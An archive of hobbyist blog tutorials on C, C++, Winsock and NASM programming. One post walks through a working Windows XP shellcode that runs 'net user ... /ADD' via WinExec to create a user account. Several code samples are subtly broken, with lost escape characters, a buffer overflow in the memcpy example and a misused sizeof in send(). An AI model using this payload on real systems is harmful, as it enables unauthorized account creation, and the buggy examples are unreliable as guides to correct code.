Compiling c++ multiple sources file

The site moved to root domain where all post are imported. Please go to http://pusheax.com/

c++ multiple sources file compiling using g++ is easy but it requires a little manual works. Multiple source file compiling can be more easy and straight using make file. But i will give here only a simple example. If you think you need  example of makefile too then you can Google search or write comments and i will update this post!

Hope you already understand the basic of c++ like functions,class etc.

C++ source file one

#include <iostream>
#include "hell.h"

void testing(){
std::cout<<"Testn";
testing1();
}

int main(){
std::cout<<"Testn";
testing();

return 0;
}

C++ source file two

#include "hell.h"

void testing1(){
Test tt;
tt.t="LALA";
std::cout<<"Hello world 2n"<<tt.t<<std::endl;
        tt.h();
 }
void test::h(){
std::cout<<"C++ methodn";
}
 
 
 

I declared object name of the class called “Test“.
t is variable declared in the header file so tt.t mean “use the variable from class Test!”.
You can write any valid code in the function or in c++ Class method!

C++ Header file

#ifndef HELL_H //if hell.h not defined the go to next preprocessor
#define HELL_H // Well, Include the header!

#include <iostream>

void testing1();
void testing();

class Test{
public:
std::string t;
void h();
};

#endif //Protection done!

It is just simple compiling the sources using g++ :

g++ main.cpp main2.cpp -o main

pro@pusheax:~/coding/c++/basic/multi$ ./main
Test
Test
Hello world 2
LALA
C++ method

Thanks for reading!

windows socket programming in c++ , your first socket(networking) program!

The site moved to root domain where all post are imported. Please go to http://pusheax.com/

Windows socket programming in c/c++ was frustrating for me when it was first time. But winsock2 is not that hard to make your basic networking program in few minutes. Today i will explain the basic of windows socket programming step by step using winsock2 and c++.  If you don’t have understanding in c or c++ then you will not understand this article. So before having basic knowledge in c/c++ you should not start with windows/socket programming. I am fan of gcc compiler so i used gcc(mingw-w64) to compile all the codes(Of this blog).

To write any windows program we are required to include the “windows.h” . And for the socket we need only “winsock2.h”. Only two required header we need are:

<iostream>
<winsock2.h>

Well, Let’s go step by step with example:

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <iostream>
#include <winsock2.h>


int main()
{
WSAData version; //We need to check the version.
WORD mkword=MAKEWORD(2,2);
int what=WSAStartup(mkword,&version);
if(what!=0){
std::cout<<"This version is not supported! - n"<<WSAGetLastError()<<std::endl;
}
else{
std::cout<<"Good - Everything fine!n"<<std::endl;
}

return 0;
}

In line 7 WSAData is a structure name which holds the information about windows socket implementation. So here we declare our own new object to work with called “version”.  About WSAData here you will get more in details.

In line 8 MAKEWORD() is a macro which is type of WORD. MAKEWORD(2,2) is going to be “2.2”.

In line 9, We store the WSAStartup() function in variable “what” . This function will check if the version is higher or lower. If the version is correct as we expected then it will return value 0 otherwise something else which should be checked by WSAGetLastError() as i did in line 11.

Compile the code and run , if you are in xp+ then you will get output “Good – Everything fine”

Since everything fine , So we want to create our real socket using structure name “SOCKET“:

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <iostream>
#include <winsock2.h>


int main()
{
WSAData version; //We need to check the version.
WORD mkword=MAKEWORD(2,2);
int what=WSAStartup(mkword,&version);
if(what!=0){
std::cout<<"This version is not supported! - n"<<WSAGetLastError()<<std::endl;
}
else{
std::cout<<"Good - Everything fine!n"<<std::endl;
}

SOCKET u_sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(u_sock==INVALID_SOCKET)
std::cout<<"Creating socket failn";

else
std::cout<<"It was okay to create the socketn";

return 0;
}

Our second step is creating socket. So in line 17 we declare the variable of SOCKET called u_sock and store the socket() function.

AF_INET specify to use ipv4.

SOCK_STREAM to specify that two connection based and reliable which used by AF_INET.

IPPROTO_TCP specify that its Internet Protocol (TCP/IP).

You can get more details in this link http://msdn.microsoft.com/en-us/library/windows/desktop/ms740506%28v=vs.85%29.aspx  .

If something wrong creating the socket then it return the value “INVALID_SOCKET” which we checked in line 18.

Time to specify address and make connection. For bit theory and basic idea read: http://msdn.microsoft.com/en-us/library/windows/desktop/ms740496%28v=vs.85%29.aspx and connect() function http://msdn.microsoft.com/en-us/library/windows/desktop/ms737625%28v=vs.85%29.aspx.

The code for address information and using connect() function:

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <iostream>
#include <winsock2.h>


int main()
{
WSAData version; //We need to check the version.
WORD mkword=MAKEWORD(2,2);
int what=WSAStartup(mkword,&version);
if(what!=0){
std::cout<<"This version is not supported! - n"<<WSAGetLastError()<<std::endl;
}
else{
std::cout<<"Good - Everything fine!n"<<std::endl;
}

SOCKET u_sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(u_sock==INVALID_SOCKET)
std::cout<<"Creating socket failn";

else
std::cout<<"It was okay to create the socketn";

//Socket address information
sockaddr_in addr;
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=inet_addr("192.168.206.1");
addr.sin_port=htons(80);
/*==========Addressing finished==========*/

//Now we connect
int conn=connect(u_sock,(SOCKADDR*)&addr,sizeof(addr));
if(conn==SOCKET_ERROR){
std::cout<<"Error - when connecting "<<WSAGetLastError()<<std::endl;
closesocket(u_sock);
WSACleanup();
}


return 0;
}

In the above example line 25 we declare the object to work with. Then in 26 we specify to go with ipv4 , in line 27 we set our target address to connect to and in line 28 we set port number.

Line number 32 declaring a variable type of int and storing full connect() function for using it later. The parameters u_socks is the socket name we have created in line 17, (SOCKADDR*)&addr mean the address information pointing to SOCKADDR and the length of the all information specified.

Line number 33 to 36 checking if there is anything wrong, connect() function return error code SOCKET_ERROR when unsuccessful. If so we check the Error code number then close the socket using closesocket() function.

Assuming everything Went fine. We are almost done. But without getting some data from Remote host may make you thinking bad. So lets use more two function send() and recv(). Using send() function we send whatever to remote host and using recv we store the output to array:

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <iostream>
#include <winsock2.h>
#include <string>



int main()
{
WSAData version; //We need to check the version.
WORD mkword=MAKEWORD(2,2);
int what=WSAStartup(mkword,&version);
if(what!=0){
std::cout<<"This version is not supported! - n"<<WSAGetLastError()<<std::endl;
}
else{
std::cout<<"Good - Everything fine!n"<<std::endl;
}

SOCKET u_sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(u_sock==INVALID_SOCKET)
std::cout<<"Creating socket failn";

else
std::cout<<"It was okay to create the socketn";

//Socket address information
sockaddr_in addr;
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=inet_addr("192.168.206.1");
addr.sin_port=htons(80);
/*==========Addressing finished==========*/

//Now we connect
int conn=connect(u_sock,(SOCKADDR*)&addr,sizeof(addr));
if(conn==SOCKET_ERROR){
std::cout<<"Error - when connecting "<<WSAGetLastError()<<std::endl;
closesocket(u_sock);
WSACleanup();
}

//Send some message to remote host
char* mymsg="GET / HTTP/1.1rnrn";
char vect[512]={0};

int smsg=send(u_sock,mymsg,sizeof(mymsg),0);
if(smsg==SOCKET_ERROR){
std::cout<<"Error: "<<WSAGetLastError()<<std::endl;
WSACleanup();
}

int get=recv(u_sock,vect,512,0);
if(get==SOCKET_ERROR){
std::cout<<"Error in Receiving: "<<WSAGetLastError()<<std::endl;
}
std::cout<<vect<<std::endl;
clossocket(u_sock);
return 0;
}

In line 42 we define a string to send to remote address. Line 43 declaring an array to hold output of the command.

Line number 45 , we store the send() and the required parameters . u_sock is the name of the created socket , mymsg has the command to send to the remote address, Maximum length of the command, And the flag.

In the line 51 , we used recv() to get output and store to an array.  The parameters of this function same as send().

 Line number 55, Getting the output from the array and printing in the screen then line 56 closing the socket.

I hope i made this article simpler to understand. I don’t really like to write too much theory since there are lots and not that useful to me(may be to you too).  If you have any questions , please comment!

Hope you enjoyed!

 

Easy example of strstr(),strspn(),strrchr(),strchr(),strbrk(),memcpy(),memset(),memcmp() – #include

The site moved to root domain where all post are imported. Please go to http://pusheax.com/

I have written quick example of few function such as strspn(),strrchr(),strchr(),strbrk(),memcpy() etc of C language.These function we often use for dealing with string. These code are very easy to read and write. I am just pasting the code here, Please read the comments and if you have any questions , please post comment!

strstr():

/*
* use and example of strstr() function
*/

/*
* The strstr() function finds the first occurrence of the substring needle in the string haystack.
* The terminating null bytes ('') are
* not compared.
*/


#include <stdio.h>
#include <string.h>
int main(){
char *str="what the hell! system got hacked!!!";
char *str2="what";
char *str3="system";
printf("n%snn",strstr(str,str3));
printf("%snn",strstr(str,str2));
return 0;
}

/* gcc strstr1.c -o strstr1
* ./strstr1
* system got hacked!!!
*
* what the hell! system got hacked!!!
*
*/


strspn():

/* The use and example of strspn() */
/*search a string for a set of bytes. The strspn()
* function calculates the length (in bytes) of the initial segment of s which consists entirely of bytes in accept. */


#include <stdio.h>
#include <string.h>

int main(){
char *str="C is a greate system language 1337";
char *str2="1234567890";
printf("Lets see %sn",strspn(str,str2));
return 0;

}

strrchr():

/*use and example of strrchr()*/
/*
* The strrchr() function returns a pointer to the last occurrence of the character c in the string s.
* This will search the char from last. For example if we search 'a' then it will point you "ammer"
* from the "programmer"

*/


#include <stdio.h>
#include <string.h>

int main(){
char *str="You are the programmer";
int str1;
printf("Enter a char:");
scanf("%c",&str1);
//int search=strrchr(str,str1);
printf("'%c' found in '%s'n",str1,strrchr(str,str1));
return 0;
}

/*
* pusheax@programming:~/codes/linux1blog$ gcc strrchar.c -o strrchar
* pusheax@programming:~/codes/linux1blog$ ./strrchar
* Enter a char:a
'a' found in 'ammer'
pusheax@programming:~/codes/linux1blog$ ./strrchar
Enter a char:u
'u' found in 'u are the programmer'
pusheax@programming:~/codes/linux1blog$ ./strrchar
Enter a char:o
'o' found in 'ogrammer'
pusheax@programming:~/codes/linux1blog$ ./strrchar
Enter a char:y
'y' found in '(null)'
pusheax@programming:~/codes/linux1blog$ ./strrchar
Enter a char:Y
'Y' found in 'You are the programmer'
pusheax@programming:~/codes/linux1blog$
*/

strchr():

/* The use and example of strchr() */

#include <stdio.h>
#include <string.h> /*include string.h for all the string related function*/

int main(){
char *strng="Mr. Stupid!"; //We will search the char in this string
char secstr='S'; //Char should be closed in single quote
int search=(strchr(strng,secstr) != NULL); //The strchr() is the search function

if (!search) //Compare if search variable is not true
printf("The char is not found!n");
else //Otherwise it is true
printf("Wow the char '%c' found in strng "%s"n",secstr,strng);

return 0;
}

strbrk():

/* use and example of strpbrk() */
/* strpbrk - search a string for any of a set of bytes */

#include <stdio.h>
#include <string.h>

int main(){
char *str="Programming is another best way to learn hacking";
char *str2="b";
int search=*strpbrk(str,str2); //Is "b" in str2 in str?
if (!search)
printf("Nothing!n");
else
printf("Found '%c' in "%s"n",search,str); //Yes it is, well print that what char it is. strpbrk is pointer to the char!
return 0;
}

memcpy():

/*Use and example memcpy() and memmove()*/

/*memcpy - copy memory area*/

//memcpy() does not check the boundary. Be careful!

#include <stdio.h>
#include <string.h>


int main(){
char str[10];
char str1[]="Hello all hackers!";
memcpy(str,str1,sizeof(str1));
printf("%sn",str);
return 0;
}

memset():

//Use and example of memset()
//memset - fill memory with a constant byte

#include <stdio.h>
#include <string.h>

int main(){
char str[]="Life is boring!";
int str1='A';
printf("First string:%sn",str);
printf("Now it is:%sn",memset(str,str1,sizeof(str1)));
return 0;
}

memcmp():

#include <stdio.h>
#include <string.h>

int main(){
char str[]="ABa";
char str1[]="AbA";
int what=memcmp(str,str1,sizeof(str));
if(what)
printf("Return:%d not matchedn",what);
else
printf("Return:%d mean equaln",what);

printf("Lets print something different!n");
printf("Confused for:%d ?n",memcmp(str,str1,2));
printf("Another confusion for :%d ?n",memcmp(str,str1,1));
return 0;
}

(N)ASM LoadLibrary,GetProcAddress and MessageBox!

The site moved to root domain where all post are imported. Please go to http://pusheax.com/

When i was reading shellcode writing tutorial The LoadLibrary and GetProcAddress was been just confused me. But it was really easy to understand in normal asm code. It was bit harder for me when i first tried to write a bit dynamic windows shellcode.  So for understanding the dynamic dll loading in shellcode first i decide to learn to load the dll dynamically in normal (n)asm code and it was easy:

section .data

ldlibry dd 0
pro dd 0
dll db "user32.dll",0
myFtion db "MessageBoxA",0
MSG db "ASM GetProcAddress",0

extern _LoadLibraryA@4
extern _FreeLibrary@4
extern _GetProcAddress@8
extern _ExitProcess@4

global _start

section .text

_start:
push dll ;push user32.dll
call _LoadLibraryA@4 ;Call the API.
mov [ldlibry],eax ;eax hold return address. So eax=LoadLibrary("user32.dll") and now ldlibry=LoadLibrary("user32.dll")

;now we need to call GetProcAddress

push myFtion ;The API name we are going to call
push eax ;LoadLibrary("user32.dll")
call _GetProcAddress@8 ;GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA"). Again eax holding the return address


push 0x0 ;MB_OK
push MSG ;TITLE="ASM GetProcAddress"
push MSG ;Messgage="ASM GetProcAddress"
push 0 ;Reserved=0
call eax ;Call MessageBoxA through GetProcAddress.

push dword [ldlibry] ; ldlibry holding the LoadLibrary("user32.dll"). Again load to Free up.
call _FreeLibrary@4 ;Call the Windows api FreeLibrary()

;We should exit the process otherwise it may cause "access violation"
push 0 ;load 0 to stack
call _ExitProcess@4 ;Call ExitProcess


;Assembl:
;nasm -fwin32 ldlibrary.asm
;ld -o ldlibrary.exe ldlibrary.obj -lkernel32 

My first shellcode was in two registers, The adduser shellcode!

The site moved to root domain where all post are imported. Please go to http://pusheax.com/

I always tried to learn to write simple shellcode in assembly language. But writing the shellcode was not my first interest , my interest was Exploit writing. I had to learn to understand assembly language for various reason such as Understanding how computer works, Effectively use of Debugger, Exploit writing,fun etc. So i searched on Google a lots “Writing shellcode” , Fortunately I found some amazing tutorials(Reference!). I will explain each line of my first shellcode below. Before that i want to tell that what tools i used to write this shellcode:

1. Nasm: www.nasm.us

2. arwin: http://www.vividmachines.com/shellcode/arwin.c

3. xxd-shellcode: http://www.projectshellcode.com/downloads/xxd-shellcode.sh

4. shellcode-test: http://www.vividmachines.com/shellcode/shellcodetest.c

The shellcode:

;add user shellcode. Only will work on windows xp3. Written by pusheax.com 
[BITS 32]

global _start

section .text

_start:
jmp short command


function: ;Label
;WinExec("Command to execute",NULL)
pop ecx
xor eax,eax
push eax
push ecx
mov eax,0x7c8623ad
call eax

xor eax,eax
push eax
mov eax,0x7c81cafa
call eax



command: ;Label
call function
db "cmd.exe /c net user pusheax popebp /ADD"
db 0x00


So let me explain each line

[BITS 32] : Tell the nasm the code is for 32bit.

global _start : Declare main starting label .

section .text : Declare the code section.

jmp short command: jmp instruction used for jumping to another label call “command” . “Call” instruction is not possible because “call” will save then next instruction to stack to get back to next instruction. This is really a common trick when writing shellcode. So it is telling to jump to “command” label and keep no return address in stack.

So now we are in label “command” and it holds following instructions:-

call function : Calling “function” label and saving the next address(whatever) in stack for return purpose . The Next instruction is simple system command:

 db “cmd.exe /c net user pusheax popebp /ADD”

So whatever , we are in label “function” 
There is a simple windows API  we need call is WinExec(), http://msdn.microsoft.com/en-us/library/windows/desktop/ms687393%28v=vs.85%29.aspx  . It only requires two parameter.

pop     ecx : Take the current return address into ecx and remove the address from stack.

xor     eax,eax : cleaning the eax register to 0. We can directly push 0 to stack but clearly it will issue null bytes. So most shellcoder does xor.

push     eax : pushing 0 to stack. Since Stack is LIFO so it will be the last parameters.

push     ecx : Do you remember that we have popped an address into ecx ? ecx actually holding “cmd.exe /c net user pusheax popebp /ADD” . So we need to push this string to stack for WinExec() first parameter. Currently stack holds: WinExec(“cmd.exe /c net user pusheax popebp /ADD”,NULL).

mov     eax,0x7c8623ad :   0x7c8623ad is address of WInExec(). Moving this address into eax . I found this address using arwin.exe ( ./arwin.exe Kernel32.dll WinExec ).

call      eax : eax=WinExec(). So it is executing the API function.

xor    eax,eax: clean eax register. Because we are going to terminate the current process soon. We are going to call ExitProcess() function to exit the current process. otherwise shellcode may get corrupted. You may see it on Debugger. 

 push   eax: Same as above we are pushing the last parameters to stack.

mov     eax,0x7c81cafa : Same as above i used arwin to find the address of ExitProcess() function.

call      eax: eax=ExitProcess’s address. Calling eax will execute the function.

Test

1. nasm -f bin -o shellcode.bin
2. ./xxd-shellcode.sh shellcode.bin
3. paste into the shellcode-test.c:
4. compile with mingw and execute then check the new user name :).

 Reference:

https://www.corelan.be/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/

http://projectshellcode.com/node/20

(N)ASM windows MessageBox , import dll

The site moved to root domain where all post are imported. Please go to http://pusheax.com/

Mostly i use NASM, GCC, LD for programming practices! Because I use Linux as my primary Operating system, So i love to use cross-platform application.

I am not an asm coder, in past i have searched a lots for ASM(nasm) code of MessagBox() function Example just to get started. Because everything was fairly new to me(i had no clue!). So i just decided to post a simple example code which was my first assembly program for windows, in case someone is searching for basic example for getting started. I hope it will be useful to someone who is in same situation as i was!

First Example:

extern _ExitProcess@4
extern _MessageBoxA@16

global _main

section .data
msgb db "pusheax.com!",0
title db "Security Research!",0
section .text

_main:

push dword 0x00
;mov esi,msgb
;push esi
push dword title
push dword msgb
push dword 0
call _MessageBoxA@16

push 0
call _ExitProcess@4

“extern” is importing symbol from other module. In our case the symbols are _ExitProcess@4 and _MessageBoxA@16. There are three things we see are:

1. underscore before MessageBoxA .
2. @4/16 

The underscore used for calling the function in C style, Linux does not have underscore(_). And @4/16 indicating that how many parameter for the calling function. Such as MessageBox has 4 parameters. Each parameters are 4 bytes so 4 parameters are (4*4) 16bytes=4 . Extra “A” for ANSI-C .

“global _main” , declaring it as startup of our asm instructions(C style).

“Section .data” , you know what is it! Declaring uninitialized data such as variable.

in “section .text” (our codes) there are all parameters pushed to stack in reverse mode. I have called MessageBox(see here: http://msdn.microsoft.com/en-us/library/windows/desktop/ms645505%28v=vs.85%29.aspx ). The MessageBox in C should be like this:

MessageBox(NULL,msgb,title,0x00000000L)

in ASM it is opposite:

First pushing the 0x00000000L(MB_OK) to stack. Currently top of the stack!
Then pushing “title” . “title” is now top of the stack.
Then pushing “msgb”. Same as above. “msgb(string)” top of the stack .
And last push is 0 . Same as above.
At last call the function.

Stack is LIFO(Last in first out). So it is now:

MessageBox(NULL,msgb,title,0x00000000L)

 It is always always good idea terminating the current process so ExitProccess() function has been called when MessageBox() operation is completed.

Compile the code :
nasm -fwin32 msg.asm
gcc msg.obj -o msg.exe

But I want to import specific dll because all dlls are not loaded so some API function may not work if i can’t load the dll in my code. How i do this ? “import MessageBoxA@16 user32.dll” ? I think this is not going to happen for me because nasm will not generate win32 object file(Perhaps issue). So i need to work with obj (nasm -fobj msg.asm) but another issue is gcc won’t compile the obj file.. I used ALINK (Download: http://alink.sourceforge.net/), This what we want instead using gcc/LD (maybe)? But still LD can be used to compile it by linking library with (-l) . Here is the code i have assembled with nasm and compiled with alink.exe:

import MessageBoxA user32.dll ;Include the dll user32.dll
extern MessageBoxA ; Now calling external symbol without underscore....

section .data
msgme db "Hi",0 ;Say "Hi" to pusheax.com

section .text use32 CLASS=CODE ;"use32 CLASS=CODE for telling the other linker(Such as alink.exe) that program for 32bit

..start: ; ..start (not _start) for other linker for start of the code

push dword 0x00 ; MB_OK
mov esi,msgme ;esi="Hi"
push esi ;"Hi" is now top of the stack, second paramaters title
push dword msgme ; Say "Hi"
push dword 0 ;Reserve
call [MessageBoxA] ;Call the Function

;nasm -fobj msg2.asm
;alink -oPE msg2.obj

 If we use ld(with gcc) then our command should be ld -o what.exe what.obj -luser32.dll whereas alink.exe -oPE what.exe but nasm. For alink we don’t need to declare how many parameters , underscore etc and for ld we need to declare all the required things and extra option “-l” to link dll.  

Which Linker you will use?

struct,typedef,array and pointer [all togther?]

The site moved to root domain where all post are imported. Please go to http://pusheax.com/

This post is part of http://www.pusheax.com/2013/03/struct-and-typedef-of-c-programming.html . Such as struct, pointer, typedef example. I have did some more advanced things with struct:

#include <stdio.h>
#include <string.h>

int main()

{
//Yes We can declar a whole sentence in variable(Remember *):
char *str="We need to know programming for being a security resarcher.";




int *ptr; //We declaring c pointer which start with asteric!
int anotherN; // This int variable
anotherN=1337; //The current value of the declared variable.
int what; //A blank variable has been declared.




ptr=&anotherN; //This is the pointer trick. ptr now pointing to address of anotherN
what=*ptr; /*Now what=address_of_anotherN, and anotherN_address=1337. So what=1337.
            Whenever we are going to change the value of a variable using a pointer
            remember that we need the asteric. First we need "&" as reference address.
            then we need the asteric for getting final declaration and the value. */




*ptr=420; /* Remember that anotherN's value was 1337 ? But now it is 420. So we really
            can change the value anything by declaring new value. Remember that it will
            only change the value of the reference address. So in our case it "anotherN" */




printf("nnn%sn",str); //Print the value of "str"
printf("Value of what: %dn",what);
printf("Value of anotherN: %dn",anotherN);

//Time to go in advanced!




typedef struct pusheax

{
int push;
char add[20]; //It is not a problem using array.
}pUsheax; //The masked name



pUsheax instanc; //Getting instance name of the struct.
pUsheax *mypusheax; //Declaring "pusheax" type pointer. Yes we can have pointer in struct.

mypusheax=&instanc; //Pointing to instanc
instanc.push=100; //push=100




//Print the value of "push":
printf("The current value of "push" is: %dn",instanc.push);



mypusheax->push=200; /* Here is tricky? Now we are not changing the value using asteric.
                here we are using dash and "greater than" operator to redirect to
                declard variable. Data actually going mypusheax and mypusheax
                transfering the data to "push". So it shopisticately chage the value.*/



printf("Now "push"= %dnnn",instanc.push);

strcpy(mypusheax->add,"www.pusheax.com"); /*store the string pusheax.com in "add" array.
                            strcpy is evil. It causes the buffer overflow
                            if the "add" array gets fill with more than 20
                            value then stack will get overwriten. Because
                            strcpy does not check boundary. More secure function
                            is strncpy() :)*/


printf("ttttt%sn",instanc.add); //We print the current value of add[20] declared array.
printf("ttttt---------------n");
printf("ttttt%snnn",mypusheax->add); /* We also can get the value of add[] instead calling
                            calling instanc.add */



}

Compile and Run:

push@pusheax:~/code$ gcc strucptr.c -o strucptr
push@pusheax:~/code$ ./strucptr



We need to know programming for being a security resarcher.
Value of what: 1337
Value of anotherN: 420
The current value of "push" is: 100
Now "push"= 200


www.pusheax.com
---------------
www.pusheax.com


push@pusheax:~/code$

struct and typedef of C programming lanugage

The site moved to root domain where all post are imported. Please go to http://pusheax.com/

C is really powerful system programming language. I believe most of experienced hacker,penetration tester,exploit developer has knowledge of C Language(At least basic). I am not professional or regular experienced programmer. I do coding when i feel of shortness :). Coding is really fun if we can compile without any error… no? I was been keeping forgetting the C structure syntax, The struct and typedef. So i quickly wrote this blog post with the complete code in case it is useful for someone πŸ™‚ . Just see the C comments for explanation of each line.  

#include <stdio.h>

int main()
{

struct pusheax /* struct is collection of variable. Declaring the name of the struct
                        which working like defining TYPE which is also called tag. So here
                        tag is "pusheax". we can call it "Name of struct" */

{
int number; //Variable under parent variable.
int number1; // Declaring another variable.
};



struct pusheax hacker; /* Here "hacker" is instance of "garbage" tag.
                    We must need it for calling variable properly. */



hacker.number=1337; /* now the value of the variable can be set like
                    "hacker.number". <instance.number=value> */
hacker.number1=31337;


//Same as normal printf function. But here we must need to add dot struct instance otherwise won't work:
printf("hacker.number is : %dn",hacker.number);
printf("hacker.number1 is: %dn",hacker.number1); //Same as previous.




struct ini //Another struct.

{
char *str; //It is going to be string pointer, Because the value won't be only "H" :).
int number; //Another variable.
};



struct ini string={0,0}; // We can also initialize the variable!



string.str="Hackers"; //The value of declared varible above under the struct "ini"
string.number=1337; //Another C variable




printf("Char is = %s & number is = %dn",string.str,string.number); /* Notice that we can delar
                        same variable without any class or function */

//Let use typedef keyword too.



typedef struct puSheax // new? It is structure definition. PuSeax is the name[tag].
//We can use it same as above structure

{
char *know; //C char variable
int knowing; // Another C Integer variable

}p00seax; // The alias name. This is what we are using typedef for.



p00seax p0sheax; //How fun? Now we declared another variable using the alias . Mask?
p0sheax.know="Knowledge is power!"; /*again we need to set the value. So it is completely related
                        with puSheax struct */

p0sheax.knowing=301337; // Same as above



printf("Value of "know": "%s" and value of "knowing" is : "%d"n",
p0sheax.know,p0sheax.knowing); // Perhaps nothing to explain here.


printf("nnnttpusheax.com is for independent ethical hacking,
        penetration testing,programming practice!!! πŸ™‚nnnt"); 
    puts(" Next: http://www.pusheax.com/2013/03/structtypedefarray-and-pointer-all.htmln");
 return 0;        //No error , just exit normally!

//compile: gcc struc.c -o struc
//run: ./struc
}

push@pusheax:~/code$ gcc struc.c -o struc;./struc
hacker.number is : 1337
hacker.number1 is: 31337
Char is = Hackers & number is = 1337
Value of "know": "Knowledge is power!" and value of "knowing" is : "301337"



pusheax.com is for independent ethical hacking,penetration testing,programming practice!!!:)
Next: http://www.pusheax.com/2013/03/structtypedefarray-and-pointer-all.html 

 simple?

If you have any questions please let’s discuss :).